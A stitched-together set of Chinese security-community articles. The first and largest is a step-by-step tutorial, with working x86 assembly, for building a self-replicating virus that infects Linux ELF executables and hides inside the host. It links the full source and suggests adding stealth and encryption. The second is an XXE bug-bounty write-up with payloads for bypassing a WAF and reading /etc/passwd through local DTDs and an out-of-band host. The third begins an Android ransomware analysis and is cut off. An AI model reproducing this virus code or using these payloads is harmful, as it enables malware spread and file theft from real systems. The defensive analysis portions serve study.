病毒是一种艺术。汇编和C（不使用代码库）将是你的画笔。今天，我将帮助你经历一些我面临过的挑战。让我们开始吧，看看你是否拥有成为一个艺术家的潜能！
与我之前的“源代码感染”病毒教程不同，这是更先进且具有挑战性的经历/运用（即使对经验丰富的开发人员）。但是，我鼓励你继续阅读并尽你所能地汲取。
让我们先描述一下我认为的、一个真正病毒应该有的特点：
——病毒会感染二进制可执行文件
——病毒代码必须是独立的，它独立于其他文件、代码库、程序等
——被感染的宿主文件能够继续执行并且传播病毒
——病毒在不损害宿主文件的情况下表现得像一只寄生虫。受感染的宿主应继续像它被感染之前一样执行
因为我们要感染二进制可执行文件，所以简要列表介绍几个不同的可执行文件类型。
**ELF**
-（可执行和链接的文件格式）Unix和类Unix系统标准的的二进制文件格式。这也被许多手机，游戏机（Playstation，任天堂）等等使用。
**Mach-O** -（Mach对象）被NeXTSTEP，macOS，iOS等等，所使用的二进制可执行文件格式，你其实在用它，因为所有的苹果手机都是这。
**PE** -（便携式可执行程序）用于32位和64位微软操作系统
**MZ** （DOS）- DOS支持的可执行文件格式…所有的微软32位及以下操作系统使用
**COM** （DOS）- DOS支持的可执行文件格式…所有的微系32位及以下操作系统使用
微软的病毒教程有许多，但是ELF病毒似乎更具挑战性并且教程稀缺，所以我将主要关注的是32位ELF程序的感染。
我将假设读者至少对病毒复制的方式有一个常规的理解。如果没有，我推荐你阅读我以前的博客文章主题：
<https://cranklin.wordpress.com/2011/04/19/how-to-write-a-stupid-simple-computer-virus-in-3-lines-of-code/>
<https://cranklin.wordpress.com/2011/11/29/how-to-create-a-computer-virus/>
<https://cranklin.wordpress.com/2012/05/10/how-to-make-a-simple-computer-virus-with-python/>
第一步是找到要感染的文件。DOS指令集可以方便寻找文件。 **AH:4Eh INT 21** 指令能够基于给定的文件描述找到第一个匹配的文件，而
**AH:4Fh INT 21**
指令可以找到下一个匹配的文件。不幸的是，对于我们却不会这么简单。使用Linux汇编来检索文件列表，这相关的文档并不是很多。少数的几个回答中我们发现它依赖于POSIX系统的readdir()函数。但是我们是黑客，对么？让我们做黑客应该做的事情来实现它。你应该熟悉的工具是strace。通过运行strace
ls，我们看到了当运行ls命令时，跟踪到的系统调用和信号。
你感兴趣的调用是getdents。所以下一步是在<http://syscalls.kernelgrok.com/>查找”getdents”。这将给我们一个小小的提示，关于我们应该怎样使用它以及我们如何得到一个目录列表。下面就是我所发现的东西：
mov eax, 5 ; sys_open
mov ebx, folder ; 目录名称
mov ecx, 0
mov edx, 0
int 80h
cmp eax, 0 ; 检测在eax中的fd是否 > 0 （ok）
jbe error ; 不能打开文件， 以错误状态退出
mov ebx, eax
mov eax, 0xdc ; sys_getdents64
mov ecx, buffer
mov edx, len
int 80h
mov eax, 6 ; 关闭
int 80h
现在，我们指定的缓冲区里已经有了目录的内容，我们必须去解析它。出于某种原因，每个文件名的偏移量似乎并没有一致，但也可能是我错了。不过我只对那些原始的文件名字符串感兴趣。我所做的是打印缓冲区到标准输出，然后保存它到另一个文件，再使用十六进制编辑器来打开它。我发现的规律是每个文件名都带有一个前缀，前缀由十六进制值0x00（null）后紧跟一个十六进制0x08构成。文件名是以null为终止的（后缀为一个十六进制0x00）。
find_filename_start:
; 寻找在一个文件名开始前的序列0008
add edi, 1
cmp edi, len
jge done
cmp byte [buffer+edi], 0x00
jnz find_filename_start
add edi, 1
cmp byte [buffer+edi], 0x08
jnz find_filename_start
xor ecx, ecx ; 清空ecx，其将作为文件的偏移
find_filename_end:
; 清空ecx，其将作为文件的偏移
add edi, 1
cmp edi, len
jge done
mov bl, [buffer+edi] ; 从缓冲区里移动文件名字节
mov [file+ecx], bl
inc ecx ; 增加保存在ecx的偏移量
cmp byte [buffer+edi], 0x00 ; 代表文件名的结尾
jnz find_filename_end
mov byte [file+ecx], 0x00 ; 到这我们就拿到文件名了，在其尾部添加一个0x00
;; 对该文件做一些操作
jmp find_filename_start ; 找下一个文件
其实有更好的方法来做这些事。你所需要做的只是去匹配目录条目结构的字节：
struct linux_dirent {
unsigned long d_ino; /* Inode number */
unsigned long d_off; /* 下一个linux_dirent的偏移 */
unsigned short d_reclen; /* 这个linux_dirent的长度 */
char d_name[]; /* 文件名 （null结尾） */
/* length is actually (d_reclen - 2 - offsetof(struct linux_dirent, d_name)) */
/*
char pad; // Zero padding byte
char d_type; // File type (only since Linux
// 2.6.4); offset is (d_reclen - 1)
*/
}
struct linux_dirent64 {
ino64_t d_ino; /* 64位inode number */
off64_t d_off; /* 64位下个structure的偏移 */
unsigned short d_reclen; /* 这个dirent的长度 */
unsigned char d_type; /* 文件类型 */
char d_name[]; /*文件名 （null结尾） */
};
但我正在使用的是我发现的一种模式，它没有使用到结构体中的偏移量。
下一步是检查文件，看看是否：
——这是一个ELF可执行文件
——它是不是已经被感染
早些时候，我介绍了一些关于不同操作系统使用的不同类型的可执行文件。这些文件类型在其文件头部都有不同的标志。例如，ELF文件总是从7f45
4c46开始。45-4c-46是ASCII字母E-L-F的十六进制表示。
如果你转储windows可执行文件十六进制数据，你会看到它开头是4D5A，代表字母M-Z。
十六进制转储OSX可执行文件显示了标记字节CEFA EDFE，也是小端的“FEED FACE”。
你可以在这里看到更多关于可执行文件格式和各自的标记：<https://en.wikipedia.org/wiki/List_of_file_signatures>
在我的病毒中，我要把自己的标记写在了ELF文件头中第9 –
12字节里未使用的地方。这是一个不错的位置，可以用来存放一个双字“0edd1e00”——我的名字。
我需要这个来标记我已经感染的文件，这样我就不会再次感染已经感染过的文件。不然受感染文件的长度将像雪球一样越滚越大，耶路撒冷病毒第一次就因此被检测到。
通过简单读取前12个字节，我们可以确定该文件是否是一个好的感染对象然后再继续下一个目标。我打算将每一个潜在的目标存储在一个单独的缓冲区，称之为“目标”。
现在它开始要变得困难了。为了感染ELF文件，你需要了解一切关于ELF文件结构的知识。这里是一个很好的学习起点：<http://www.skyfree.org/linux/references/ELF_Format.pdf>。
不同于简单的COM文件，ELF存在一些不同的挑战问题。简单来说，ELF文件包括：ELF头，程序头，节头，和指令操作码。
ELF头告诉我们关于程序头和节头的信息。它也告诉我们程序在内存中的入口点位置（首先执行的指令操作码）。
程序头告诉我们，哪个“段”属于TEXT段，哪个“段”属于DATA段，也给出其在文件中的偏移。
节头给出每个“节”和它们所属“段”的信息。这可能有点令人困惑。首先要明白的是一个可执行文件在磁盘上和它运行在内存中是不同的状态，而这些头给出了这两方面的相关信息。
TEXT段是可读取/执行的代码段，它包含了我们的代码和其他只读数据。
DATA段是可读/写的数据段，它包含了全局变量和动态链接的信息。
在TEXT段，有一个.text节和一个.rodata节。在DATA段中，有一个.data节和.bss节。
如果你熟悉汇编语言，这些节名应该对你来说听起来很熟悉。
.text是代码驻留的地方，.data是存储初始化全局变量的地方。.bss包含未初始化的全局变量，因为它是未初始化的，所以没有占用磁盘空间。
不像PE文件（微软的），ELF文件没有太多可以感染的区域。老式的DOS、COM文件几乎允许你在任何地方添加病毒代码，然后在100
h这个地址覆盖内存代码（因为COM文件总是在100 h的内存地址开始映射）。ELF文件不允许你写TEXT段。下面这些是ELF感染病毒的主要方法：
**感染Text段填充区**
感染.text节的尾部。我们可以利用ELF文件的特点，当其加载到内存中，尾部会被使用‘0’来填充成一个完整的内存页。受到内存页长度的限制，所以我们只能在32位系统上容纳一个4
kb病毒或在64位系统容纳2 mb病毒。这看起来可能很小，但也足够容纳用C或者汇编语言编写的小病毒。这一目标的实现方法是：
——修改入口点（ELF头）到.text节的尾部
——增加节表（ELF头）里对应节的页长度
——增加Text段的文件长度和内存长度为病毒代码的长度
——遍历每个被病毒寄生后的程序头，根据页面长度增加对应的偏移
——找到Text段的最后一个节头，增加其节长度（在节头里）
——遍历每个被病毒感染后的节头，根据页面长度增加对应的偏移
——在.text节的尾部插入实际的病毒代码
——插入病毒代码后跳转到原始宿主的入口点执行
**反向感染Text段**
在允许宿主代码保持相同虚拟地址的同时感染.text节区的前面部分。我们将反向扩展text段。在现代Linux系统中允许的最小虚拟映射地址是0x1000，这便是我们可以反向拓展text段的限制长度。在64位系统上，默认的text段虚拟地址通常是0x400000，这就有可能给病毒留下减掉ELF头长度后的大小为0x3ff000的空间。在32位系统上，默认的text段虚拟地址通常是0x0804800，这就有可能产生更大的病毒。这一目标的实现方式是：
——增加节表（在ELF头）里的偏移为病毒长度（对下一内存页对齐值取余）
——在Text段程序头里，根据病毒的长度（对下一内存页对齐值取余）减小虚拟地址（和物理地址）
——在Text段程序头里，根据病毒的长度（对下一内存页对齐值取余）增加文件长度和内存长度
——根据病毒的长度（再次取余），遍历每个程序头的偏移，增加它的值到大于text段
——修改入口点（在ELF头）到原始的text段虚拟地址——病毒的长度（再次取余）
——根据病毒的长度（再次取余），增加程序头偏移（在ELF头）
——插入病毒实体到text段的开始位置
**Data段感染**
感染数据段。我们将把病毒代码附加到data段（在.bss节之前）。因为它是数据部分，我们的病毒代码可以尽可能的大，像我们希望的那样不受约束。Data内存段的数据有一个R
+ W（读和写）的权限设置，而Text内存段有R +
X（读和执行）权限设置。在没有NX位设置的系统（如32位Linux系统）中，你可以执行Data段里的代码而不用改变权限设置。然而，其他系统需要你在病毒寄存的内存段属性中添加一个可执行的标志。
——根据病毒的长度增加节头的偏移（在ELF头）
——修改入口点（在ELF头）指向数据段的尾部（虚拟地址+文件长度）
——在数据段程序头里，根据病毒长度增加页面和内存的长度
——根据病毒的长度增加.bss节的偏移（在节头）
——设置数据段的可执行权限位（32位Linux系统不适用）。
——插入病毒实体到数据段的尾部
——插入代码，跳转到原始宿主的入口点
当然，还有更多感染的方法，但这些是首要选择。对于我们的示例，将使用上面的第三个方法。
编写病毒时还有另外一个比较大的障碍——变量。理想情况下，我们不希望合并（病毒和宿主）.data节和.bss节。此外，一旦你汇编或编译病毒，无法保证当病毒在宿主程序运行时你的变量始终在同一个虚拟地址。事实上，这几乎是不会发生的事情，那样的话宿主程序将会抛出段错误的提示。所以在理想情况下，你希望限制你的病毒到一个特定的节：.text。如果你有汇编的经验，你就明白这是一项挑战。我将和你们分享一些技巧，应该就会使这个过程更容易些。
首先，让我们关照一下.data节变量（初始化了）。如果可能的话，“硬编码”这些值。或者，假设我有我.asm代码：
section .data
folder db ".", 0
len equ 2048
filenamelen equ 32
elfheader dd 0x464c457f ; 0x7f454c46 -> .ELF （反转字节序）
signature dd 0x001edd0e ; 0x0edd1e00 反转字节序后的签名
section .bss
filename: resb filenamelen ; 目标文件路径
buffer: resb len ; 所有的文件名
targets: resb len ; 目标文件名
targetfile: resb len ; 目标文件内容
section .text
global v1_start
v1_start:
你可以这样做：
call signature
dd 0x001edd0e ; 0x0edd1e00反转字节序后的签名
signature:
pop ecx ; 现在值存在ecx里了
我们利用的是，当一个call指令被调用时，调用的当前指令的绝对地址将会被压入栈内存里以期能够正常返回。
这样我们就可以遍历每个.data节里的变量然后一起解决这个问题了。
至于.bss节里的变量（未初始化的），我们需要储备一定数量的字节数据。我们在.text节里这样做因为它属于Text代码段，其属性被标记为r +
x（读取和执行），不允许在该内存段里写数据。所以我决定使用堆栈。栈？是的，一旦我们把字节压入堆栈，我们可以看到堆栈指针并保存这些标记。这里是我解决方案里的一个例子：
; 给未初始化的变量开辟栈内存空间以避免使用.bss节
mov ecx, 2328 ; 设置循环计数2328 （x4=9312 bytes）. filename（esp）， buffer （esp+32）， targets （esp+1056）， targetfile （esp+2080）
loop_bss:
push 0x00 ; 压入4个字节（双字）的0
sub ecx, 1 ; 计数减一
cmp ecx, 0
jbe loop_bss
mov edi, esp ; esp 有了我们要伪造的 .bss 偏移。 让我们将它存储在edi里。
注意到我一直在压入0x00字节（在32位汇编压栈一次将一个双字压入，正好是寄存器的长度）。确切地说，我们共压入2328次。这样大概给我们开辟一个大约9312字节的空间可以使用。一旦我完成所有的0字节压栈，把ESP的值（即我们的堆栈指针）存储起来，并把它作为我们“伪造.bss”的基址。我可以引用ESP
+[offset]来访问不同的变量。在我的例子中，我保存的[esp]对应filename，[esp + 32]对应buffer，[esp +
1056]对应targets，以及[esp + 2080]对应targetfile。
现在我就可以完全去除.data节和.bss节的使用了，并且整个病毒被唯一的一个.text节来承载！
readelf是一个很有用的工具。运行readelf –a[file]将会给你ELF头/程序头/节头的一些细节：
这里有三个节：.text、.data、.bss
这里我们消除了.bss节：
在这里，我们已经完全消除了.data段。我们可以用.text节来单独进行一切操作！
现在我们将需要读取宿主文件的字节数据到一个缓冲区，对头部进行必要的修改，并注入病毒标记。如果你做了给你的关于目录条目结构和保存目标文件长度的家庭作业，将对你有好处。否则，我们将不得不一个字节一个字节地读文件，直到系统读到一个在EAX返回0
x00的调用，说明我们已经达到了EOF：
reading_loop:
mov eax, 3 ; sys_read
mov edx, 1 ; 一次读一个字节 （yeah， 我知道这可能是最好的）
int 80h
cmp eax, 0 ; 如果返回 0，我们读到了EOF
je reading_eof
mov eax, edi
add eax, 9312 ; 2080 + 7232 （2080 targetfile在我们伪造 .bss的偏移）
cmp ecx, eax ; 如果文件超过 7232 字节， 退出
jge infect
add ecx, 1
jmp reading_loop
reading_eof:
push ecx ;保存最后读取的一个字节的地址， 我们后面需要用到它
mov eax, 6 ;关闭文件
int 80h
修改缓冲区是非常简单的。记住，当移动任何超出一个字节时你必需得处理反向字节顺序（小端）。
这里我们注入病毒标记并改变入口点指向我们在数据段尾部的病毒代码。（文件长度不包括的.bss在内存中占据的空间）：
mov ebx, dword [edi+2080+eax+8] ; phdr->vaddr （内存虚拟地址）
add ebx, edx ;新入口点 = phdr[data]->vaddr + p[data]->filesz
mov ecx, 0x001edd0e ; 在8字节处插入我们的标志（ELF头没有用到的节）
mov [edi+2080+8], ecx
mov [edi+2080+24], ebx ; 用病毒覆盖旧入口点 （在buffer里）
注意到我想存储0xedd1e00（用十六进制字符编写的我的名字）的病毒标记，但反向字节顺序给了我们0x001edd0e。
你还会注意到，我用偏移算法找到通向我留给未初始化变量的栈底部区域。
现在我们需要定位DATA程序头并做一些修改。诀窍是先找到PT_LOAD类型，然后确定其偏移是不是非0。如果其偏移量为0，它就是一个TEXT程序头。否则，它就是DATA。
``
section_header_loop：
; 循环通过节头来寻找.bss节（NOBITS）
;0 sh_name 包含一个指向给定节的名字字符串指针
;+4 sh_type 给定节类型 [节的名称
;+8 sh_flags 其他标志 ...
;+c sh_addr 运行时节到虚拟地址
;+10 sh_offset 节在文件中到偏移
;+14 sh_size zara white phone numba
;+18 sh_link根据节类型
;+1c sh_info 根据节类型
;+20 sh_addralign 对齐
;+24 sh_entsize 当节包含固定长度的入口时被使用
add ax， word [edi+2080+46]
cmp ecx， 0
jbe finish_infection ; 找不到.bss节。 不需要担心，可以完成感染
sub ecx， 1 ; 计数减一
mov ebx， dword [edi+2080+eax+4] ; shdr->type （节类型）
cmp ebx， 0x00000008 ; 0x08是 NOBITS，.bss节的指标
jne section_header_loop ; 不是.bss节
mov ebx， dword [edi+2080+eax+12] ; shdr->addr （内存虚拟地址）
add ebx， v_stop - v_start ; 增加我们病毒的长度给 shdr->addr
add ebx， 7 ; 为了跳转到起始入口点
mov [edi+2080+eax+12]， ebx ; 用新的覆盖旧的shdr->addr（在缓冲区里）
mov edx， dword [edi+2080+eax+16] ; shdr->offset （节的偏移）
add edx， v_stop - v_start ; 增加我们病毒的长度给shdr->offset
add edx， 7 ; 为了跳转到起始入口点
mov [edi+2080+eax+16]， edx ; 用新的覆盖旧的shdr->offset（在缓冲区里）
我们还需要修改.bss节头。我们可以通过检查类型标志NOBITS说这是否是一个节头。节头不一定需要为了运行可执行文件而存在。所以如果我们不能找到它，也没什么大不了的，我们仍然可以继续进行：
``
;dword [edi+2080+24] ; ehdr->entry （入口点的虚拟地址）
;dword [edi+2080+28] ; ehdr->phoff （程序头便宜）
;dword [edi+2080+32] ; ehdr->shoff （节头偏移）
;word [edi+2080+40] ; ehdr->ehsize （elf头的长度）
;word [edi+2080+42] ; ehdr->phentsize （一个程序头入口的长度）
;word [edi+2080+44] ; ehdr->phnum （程序头入口的数量）
;word [edi+2080+46] ; ehdr->shentsize （一个节头入口的长度）
;word [edi+2080+48] ; ehdr->shnum （程序头入口的数量）
mov eax， v_stop - v_start ; 我们病毒的长度减去到原始入口点的跳转
add eax， 7 ; 为了到原始入口点的跳转
mov ebx， dword [edi+2080+32] ; 原始节头偏移
add eax， ebx ; 增加原始节头偏移
mov [edi+2080+32]， eax ; 用新的覆盖旧的shdr->offset（在缓冲区里）
然后，当然我们需要通过修改节头偏移对ELF头作最后修改，因为我们感染data段的尾端（bss之前）。程序头保持在同一位置：
;dword [edi+2080+24] ; ehdr->entry (virtual address of entry point)
;dword [edi+2080+28] ; ehdr->phoff (program header offset)
;dword [edi+2080+32] ; ehdr->shoff (section header offset)
;word [edi+2080+40] ; ehdr->ehsize (size of elf header)
;word [edi+2080+42] ; ehdr->phentsize (size of one program header entry)
;word [edi+2080+44] ; ehdr->phnum (number of program header entries)
;word [edi+2080+46] ; ehdr->shentsize (size of one section header entry)
;word [edi+2080+48] ; ehdr->shnum (number of program header entries)
mov eax, v_stop - v_start ; size of our virus minus the jump to original entry point
add eax, 7 ; for the jmp to original entry point
mov ebx, dword [edi+2080+32] ; the original section header offset
add eax, ebx ; add the original section header offset
mov [edi+2080+32], eax ; overwrite the old section header offset with the new one (in buffer)
最后一步是注入病毒的实体代码，并完成回到宿主代码入口点的跳转指令，以便我们毫无戒心的用户看到宿主程序运行正常。
你可能会问自己的问题是，病毒如何抓取自己的代码？病毒是如何确定自己的长度呢？这些都是很好的问题。首先，我使用标签来标记病毒的开始和结束，然后使用简单的数学偏移：
``
section .text
global v_start
v_start：
; 病毒体开始
...
...
...
...
v_stop：
; 病毒体结束
mov eax， 1 ; sys_exit
mov ebx， 0 ; 正常状态
int 80h
通过这样做，我可以使用v_start作为病毒开始的偏移量，然后可以使用v_stop-v_start作为字节数量（长度）。
``
mov eax， 4
mov ecx， v_start ; 附加病毒部分
mov edx， v_stop - v_start ; 病毒字节的长度
int 80h
病毒的长度（v_stop – v_start）比较好计算，但是在第一次感染后病毒代码的开头（mov ecx,
v_start）引用将会失败。事实上，任何绝对地址的引用都将会失败，因为不同宿主程序的内存位置都会发生改变。像v_start这种标签的绝对地址是在编译期间计算好的，而那取决于它如何被调用。你使用的正常短跳转如jmp、jne、jnz等都将被转换为相对于当前指令的偏移，不过像MOV这类标签的地址就不会变。我们需要的是一个delta偏移量。delta偏移量就是从原始病毒当前宿主文件的虚拟地址差值。那么如何得到delta偏移量呢？这有一个我从90年初的DOS病毒教程“Dark
Angel’s Phunky Virus Guide”里学来的一个非常简单的技巧：
``
call delta_offset
delta_offset：
pop ebp
sub ebp， delta_offset
通过在当前位置调用一个标签，当前指令的指针（绝对地址）就会被压入栈以方便你可以知道你RET返回到哪里。我们只要把这个值从堆栈里弹出来就能获得当前指令的指针。然后通过从当前地址减去原始病毒的绝对地址，我们就在EBP里获得了delta偏移量！在原病毒执行期间delta偏移量将为0。
你会注意到，为了规避某些障碍，我们调用没有RET的CALL，反之亦然。我建议你尽量不要在这个项目以外的地方这样做，因为很显然，丢失一个call/ret对将会导致性能损失…但现在不是正常的情况。
现在我们有了delta偏移量，让我们切换v_start的引用为delta偏移量版本：
mov eax， 4
lea ecx， [ebp + v_start] ; 附加病毒部分 （用delta偏移计算）
mov edx， v_stop - v_start ; 病毒数据的长度
int 80h
注意到我并没有在病毒里包含系统退出调用。这是因为我不想让病毒在执行宿主代码之前退出。相反，我把这部分替换为跳转到原始宿主的代码。由于不同宿主程序入口点会有所不同，我需要动态生成它然后直接注入操作码。为了找出操作码，你必须首先了解JMP指令本身的特点。JMP指令将试图通过计算到目的地址的偏移做一个相对跳转。我们要给它一个绝对位置。我通过汇编一个小程序里面的JMP短跳转和JMP远跳转算出了它们的十六进制操作码。JMP
操作码从E9变到FF。
mov ebx， 0x08048080
jmp ebx
jmp 0x08048080
汇编后，我运行“xxd”然后检查字节数据就知道如何将它翻译成操作码了。
pop edx ; 宿主程序的原始入口点
mov [edi]， byte 0xb8 ; MOV EAX的操作码 （1 byte）
mov [edi+1]， edx ; 原始入口点 （4 bytes）
mov [edi+5]， word 0xe0ff ; JMP EAX操作码 （2 bytes）
MOV一个双字到寄存器EAX最终被表示为B8 xx xx xx xx。JMP到存储在寄存器EAX里地址的指令最终被表示为FF E0
上面总共有7个额外字节添加到病毒的结尾。这也意味着，我们修改的每个偏移和文件长度必须加入这额外的7个字节。
因此我的病毒在缓冲区里的头部做了修改（而不是在文件），然后用修改的缓冲区覆盖宿主文件直到我们病毒代码驻留的偏移位置。然后插入它本身（vstart，vstop-vstart）再继续写缓冲区字节的其余部分，最后转接程序控制权给原始宿主文件。
一旦我汇编了病毒，我想在病毒的第8字节处手动添加病毒标记。这在我的示例中可能不是必要的，因为我的病毒会跳过目标如果它没有一个DATA段的话，但实际也不会非总是这样。打开你最喜欢的十六进制编辑器并添加这些字节吧！
现在我们完成了，让我们来汇编并测试它：nasm -f elf -F dwarf -g virus.asm && ld -m elf_i386 -e
v_start -o virus.o
我录了一个测试视频。这里面我听起来像是有点缺乏热情，只是因为现在是深夜，实际上我是欣喜若狂的。
既然你已经完成了阅读，这里就贴上我过度评论的病毒源代码链接：<https://github.com/cranklin/cranky-data-virus>
这是一个非常简单的ELF感染病毒。它也可以通过非常简单的调整进行改进：
——从ELF头中提取更多的信息（32或64位、可执行文件等）
——在targetfile缓冲区后分配文件缓冲区。为什么？因为当我们获得targetfile缓冲区时就不再使用文件缓冲区了，我们可以为来获得一个更大的targetfile缓冲区而溢出文件缓冲区。
——遍历目录，这也可以通过一些稍微复杂的调整来改善：
——稍微覆盖我们的行踪更好地隐形
——加密!
——改变特征
——使用更难检测的方法去感染
好了，这就是献给大家的全部内容了。
**总结**
通过读这篇文章，我希望你也能够获得一些关于启发式病毒检测知识（而不需要搜索特定病毒特征）。也许这将是改天的主题。或者我将介绍OSX病毒…也许我会做一些蹩脚的事情并演示一个Nodejs病毒。
我们将会看到的，现在再见了。 | 社区文章 |
# 0x00 前言
大家好，
今天，我将分享一种非常有趣的利用XXE的技术，该技术是我通过<https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/>所发现的，且后面经过GoSecure团队研究。该方案是在不允许HTTP带外请求的情况下，仅根据DNS查询记录，通过应用程序抛出XML解析的详细错误消息来读取服务器上的本地文件。
# 0x01 发现过程
在用Burp测试应用程序时，我意识到app在每个端点都使用了基于JSON的REST API。接下来，我尝试将Content-Type转换为`application/xml`并重放了其中一个请求，然后发现应用回显里抛出了一些错误信息，该错误显示了应用服务器（JBoss）和其他一些错误详细信息，很明显，该应用希望解析某些XML，但是请求的body却是JSON。因此，我将请求的body由JSON转换为相应的XML。
# 0x02 绕过waf
该服务器使用了基于云的WAF，该WAF禁止使用`<?xml version=1.0?>`的XML声明，因此我不使用XML声明，而是直接放入XML正文。
<root>
<id>..</id>
<name>..</name>
</root>
我很惊讶地看到该应用程序愉快地接受了该请求，并且请求成功。
接下来，我快速使用了最简单的XXE payload来读取文件/ etc / passwd
<!DOCTYPE a[
<!ENTITY x SYSTEM "file:///etc/passwd">
]>
<root>
<id>1</id>
<name>&x;</name>
</root>
但是WAF再次被触发，我所要做的就是在协议之前放置一个空格（即“ file：/// etc / passwd”），然后就绕过了WAF！
# 0x03 利用之旅
但是，该应用程序会验证所有传递的数据，并且不允许“name”或任何其他元素使用如/ etc /
passwd的值，只或多或少地允许使用[a-zA-Z0-9]。
如果我尝试读取不存在的文件，或者读取了/ etc /
shadow之类的文件，则会抛出禁止访问或一些冗长的错误，但不会包含其文件内容，因此可以确认确实存在XXE漏洞，而且我还可以确认文件是否存在服务器上或是否可以在服务器上访问，只是我无法通过response来获取文件的内容。
# 0x04 XXE OOB
我想跳过所有的这些麻烦，并使用OOB技术来通过FTP检索文件，因为app服务器是JAVA技术的并为此使用了burp
collaborator，而且还使用了参数实体而不是常规实体。
<!DOCTYPE a[
<!ENTITY % x SYSTEM " http://something.burpcollaborator.net"> %x;
]>
<root>
<id>1</id>
<name>test</name>
</root>
并通过测试后，知道此处不允许HTTP带外（我试了很多次，但是没有成功）
# 0x05 通过子域进行OOB XXE
一周后，我在一个子域测试中发现了一个RCE，出于好奇，我在其中托管了一个邪恶的DTD文件，以通过此XXE在那读取/ etc /
passwd，并返回了服务器错误消息和像这样在Response本身中显示文件内容：[https](https://blog.netspi.com/forcing-xxe-reflection-server-error-messages/) : [//blog.netspi.com/forcing-xxe-reflection-server-error-messages/](https://blog.netspi.com/forcing-xxe-reflection-server-error-messages/)
：D
因为可能是该子域被列入白名单，能够建立带外的连接。
该公司增加了少量奖金，希望我在不利用已经报告的RCE的情况下利用此XXE获得全部奖励。
# 0x06 使用DTD利用XXE（不通过OOB）
在很长一段时间，我无法利用，但随后<https://blog.h3xstream.com/2019/07/automating-local-dtd-discovery-for-xxe.html>
来了，给了希望。他列出了系统中可能已经存在的一些常见DTD，以及如何通过简单地覆盖/替换DTD中已存在的实体来将它们用于XXE以便将XXE用于文件读取。但是，该博客上列出的那些DTD都不存在于我的目标服务器上。
# 0x07 本地DTD技术的简介
如果发现任何DTD文件已经存在于目标服务器文件系统的某个位置，该文件由参数实体（例如`<!ENTITY % injectable
"something">`）组成，并且在该DTD本身的某个位置被饮用（例如`<!ENTITY % random
(%injectable;)>`）。然后，我们基本上可以覆盖该实体的内容，而只需在OOB
中的外部evil.dtd中编写将要执行的操作。例如如果服务器上存在legit.dtd
**/usr/share/xyz/legit.dtd:**
..
<!ENTITY % injectable "something">
..
<!ENTITY % random (%injectable;)>
..
..
如果您在XXE中添加以下内容
<!DOCTYPE xxe[
<!ENTITY x SYSTEM "file:///usr/share/xyz/legit.dtd">
<!ENTITY % injectable 'injecting)> You Control Contents inside this DTD now!!! <!ENTITY % fake ('>
%x;
]>
<root>
..
</root>
然后，解析的XML内容将从现在
`<!ENTITY % random (%injectable;)>`变为<!ENTITY % random ( **injecting) > You
Control Contents inside this DTD now!!! <!ENTITY % fake (**)>
# 0x08 本地DTD发现
GoSecure还发布了一种工具来查找DTD，该DTD包含可注入实体，并以Docker容器的导出文件系统为输入。所以我拉取了特定版本的JBoss
Docker 镜像，启动了它，并使用以下命令将该Docker Container导出到文件系统：
$ docker export {container} -o jboss.tar
$ java -jar dtd-finder-1.0-all.jar jboss.tar
它在目标JBoss Docker容器的文件系统的jar / zip文件中发现了一些带有可注入实体的DTD。
发现以下jar/modules/system/layers/base/org/jboss/security/xacml/main/jbossxacml-x.x.x.Final-redhat-x.jar，其中里面有`/schema/xmlschema/XMLSchema.dtd`文件，该文件包含名为 **“ xs-datatypes”** 的可注入实体
下面是XMLSchema.dtd的内容：
....
<!ENTITY % xs-datatypes PUBLIC 'datatypes' 'datatypes.dtd' >
....
%xs-datatypes; <!-- Here We can overwrite parameter Entity % xs-datatypes and our content would be then passed & parsed here-->
...
....
因此，我必须在XXE有效payload中创建以下实体（基本上覆盖XMLSchema.dtd中的现有对象）：
<!ENTITY % xs-datatypes '<!ENTITY % file SYSTEM " file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM ' file:///abcxyz/%file;'>">
%eval;
%error;
'>
幸运的是，我正在测试的是一个基于Java的应用程序，该应用程序具有 **“ jar”** 协议，可用于读取存档（jar / zip等）中的文件，
例如：`jar:file://var/www/html/test.zip!/test.txt`其中test.txt是test.zip中的文件
由于我是在本地环境上进行所有操作的，因此我首先确认该应用程序中是否还存在该特定的jar文件，结果现实确实如此。
接下来，我要做的就是：
1. 使用jar协议读取jbossxacml-xxxFinal-redhat-x.jar文件中的XMLSchema.dtd，
2. 创建“ xs-datatypes”实体以覆盖内容
<!DOCTYPE root [
<!ENTITY % x SYSTEM
"jar:file:///jboss-as/modules/system/layers/base/org/jboss/security/xacml/main/jbossxacml-x.x.x.Final-redhat-x.jar!/schema/xmlschema/XMLSchema.dtd">
<!ENTITY % xs-datatypes ' <!ENTITY % file SYSTEM " file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM ' file:///abcxyz/%file;'>">
%eval;
%error;
'>
%x;
]>
<root>
<id>..</id>
<name>test</name>
</root>
成功了！它在HTTP响应的错误中返回了/ etc / passwd的内容
# 0x09 References
<https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/>
<https://blog.netspi.com/forcing-xxe-reflection-server-error-messages/>
<https://github.com/GoSecure/dtd-finder>
<https://blog.h3xstream.com/2019/07/automating-local-dtd-discovery-for-xxe.html>
> 本文翻译自<https://www.noob.ninja/2019/12/spilling-local-files-via-xxe-when-> http.html>，由DesMond of TimelineSec负责翻译 | 社区文章 |
# “Sauron Locker”家族病毒新变种
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
**背景：**
《地母经》里说：“鼠耗出头年，高低多偏颇。”庚子年，似乎都伴随着重大灾难或历史转折，新冠肺炎的出现，使人们在这一年的开头感到了一丝沉重，一些人总会挺身而出，悬壶济世，成为最美逆行者；一些人总会趁着乱世，利用人性的弱点，扰乱社会秩序，从而达到不法的目的。
自2020年初以来，恒安嘉新暗影安全实验室持续针对“新冠肺炎”相关的病毒样本进行监测，近期，我们发现了一款名为“Covid19”的病毒软件，其代码结构与“SauronLocker”家族病毒及其相似，我们怀疑是该病毒家族的新变种，用户设备中毒后，导致用户手机的通讯录和外存储文件被加密，要求用户支付比特币解密，另外，该版本采用AES的加密算法，而加解密的密钥是从远程服务器动态获取，增加了破解勒索软件加密算法的难度。
## 1.基本信息
**样本名称：** Covid19
**样本MD5：** 362DAC3F2838D2BF60C5C54CC6D34C80
**样本包名：** com.ins.fortnite
**签名信息：** CN=KhumarAjit, OU=App Dev, O=App Dev, L=Bangladesh, ST=Balgadesh,
C=ID
图1“Covid19”安装图标
## 2.运行原理
